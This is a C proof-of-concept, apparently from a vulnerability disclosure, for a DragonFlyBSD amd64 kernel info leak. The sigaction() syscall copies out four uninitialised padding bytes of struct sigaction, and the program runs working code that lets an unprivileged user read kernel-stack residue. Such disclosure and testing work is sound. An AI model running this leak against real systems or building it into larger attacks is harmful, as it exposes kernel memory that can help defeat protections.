/*
 * DF-0007 PoC - struct sigaction trailing-padding info leak via oact copyout.
 *
 * On amd64, struct sigaction (sys/sys/signal.h:221) has the layout:
 *
 *     offset  0:  union __sigaction_u  (8 bytes, function pointer)
 *     offset  8:  int sa_flags         (4 bytes)
 *     offset 12:  sigset_t sa_mask     (16 bytes, unsigned int[4], 4-byte align)
 *     offset 28:  <4 bytes trailing padding>   <-- NOT a named field
 *     sizeof(struct sigaction) == 32          (struct alignment is 8)
 *
 * sys_sigaction() (sys/kern/kern_sig.c:384) stack-allocates
 *     struct sigaction act, oact;
 * uninitialized. kern_sigaction() (kern_sig.c:260-279) writes oact field by
 * field -- sa_handler, sa_mask, sa_flags -- but NEVER touches the 4 trailing
 * pad bytes at offset 28-31. sys_sigaction() then does
 *     copyout(oactp, uap->oact, sizeof(oact));   // kern_sig.c:397
 * copying all 32 bytes, including the 4 uninitialized kernel-stack bytes.
 *
 * An unprivileged caller invoking sigaction(signo, NULL, &oact) therefore
 * receives up to 4 bytes of kernel-stack residue in the padding region of its
 * userland struct sigaction. (i386 is unaffected: there the union is 4 bytes
 * and sizeof(struct sigaction) == 24 with no trailing pad.)
 *
 * Build (DragonFlyBSD, amd64):  cc -o leak_sigaction leak_sigaction.c
 * Run as an UNPRIVILEGED user:  ./leak_sigaction
 *
 * Expected (bug present): prints the 4 padding bytes for several samples;
 * they differ from the 0xAA marker and from anything the kernel wrote, i.e.
 * they are leaked kernel stack residue. On a fixed kernel the padding reads
 * as the marker or zero.
 */

#include <sys/sysctl.h>
#include <signal.h>
#include <stdio.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>

static void
dump32(const char *tag, const unsigned char *b)
{
	unsigned int *pad = (unsigned int *)(b + 28);
	printf("%s: %02x %02x %02x %02x %02x %02x %02x %02x  "
	       "%02x %02x %02x %02x %02x %02x %02x %02x  "
	       "%02x %02x %02x %02x %02x %02x %02x %02x  "
	       "%02x %02x %02x %02x | %02x %02x %02x %02x  "
	       "(pad word 0x%08x)\n",
	       tag,
	       b[0], b[1], b[2], b[3], b[4], b[5], b[6], b[7],
	       b[8], b[9], b[10], b[11], b[12], b[13], b[14], b[15],
	       b[16], b[17], b[18], b[19], b[20], b[21], b[22], b[23],
	       b[24], b[25], b[26], b[27], b[28], b[29], b[30], b[31],
	       *pad);
}

/* Dirty the kernel stack with varying residue between sigaction() calls so
 * the leak is more visible: open/close a pipe, read sysctls, etc. */
static void
dirty_stack(unsigned int seed)
{
	int pfd[2];
	char tmp[64];

	if (pipe(pfd) == 0) {
		close(pfd[0]);
		close(pfd[1]);
	}
	(void)sysctlbyname("kern.boottime", tmp, &(size_t){sizeof(tmp)}, NULL, 0);
	(void)getpid();
	(void)getuid();
	/* touch seed so the compiler can't elide it */
	volatile unsigned int v = seed;
	(void)v;
}

int
main(void)
{
	unsigned char buf[32];		/* >= sizeof(struct sigaction) on amd64 */
	unsigned int marker = 0xAAAAAAAA;
	size_t pad_off, sz;
	int i, leaks = 0;

	sz = sizeof(struct sigaction);
	printf("sizeof(struct sigaction) = %zu\n", sz);

	/*
	 * On amd64 the trailing padding starts at offset 28 and runs to
	 * sizeof (32). Compute it defensively in case of future layout change:
	 */
	pad_off = sz - 4;	/* last 4 bytes are the trailing pad on amd64 */
	if (sz <= 28) {
		printf("no trailing padding on this arch (sz=%zu) -- not affected\n", sz);
		return 2;
	}
	printf("padding region: offset %zu..%zu\n", pad_off, sz - 1);
	printf("marker = 0x%08x (we memset the buffer with this before each call)\n",
	       marker);
	printf("layout: [0..7]=sa_handler [8..11]=sa_flags [12..27]=sa_mask "
	       "[28..31]=<padding>\n\n");

	for (i = 0; i < 8; i++) {
		struct sigaction *o = (struct sigaction *)buf;

		/* Fill with a known marker so we can tell what the kernel wrote. */
		memset(buf, 0xAA & 0xff, sizeof(buf));

		/* Dirty the kernel stack first to maximize visible residue. */
		dirty_stack((unsigned int)i * 0x01010101u + 0x42424242u);

		if (sigaction(SIGUSR1, NULL, o) != 0) {
			perror("sigaction");
			return 1;
		}

		unsigned int *pad = (unsigned int *)(buf + pad_off);
		dump32("sample", buf);
		/*
		 * Leaked RESIDUE = the padding word is neither our 0xAA marker
		 * NOR zero. On a BUGGY kernel the padding holds non-zero
		 * kernel-stack residue (e.g. a pointer fragment like 0xfffff800);
		 * on a FIXED kernel the padding is zero (the kernel zero-inits the
		 * struct, so the padding is defined, not leaked).
		 */
		if (*pad != marker && *pad != 0)
			leaks++;
	}

	printf("\nsamples with non-marker non-zero padding (leaked residue): %d/8\n", leaks);
	printf("result: %s\n", leaks ? "LEAK CONFIRMED" : "no residue observed (padding zero/defined)");
	return (leaks ? 0 : 2);
}
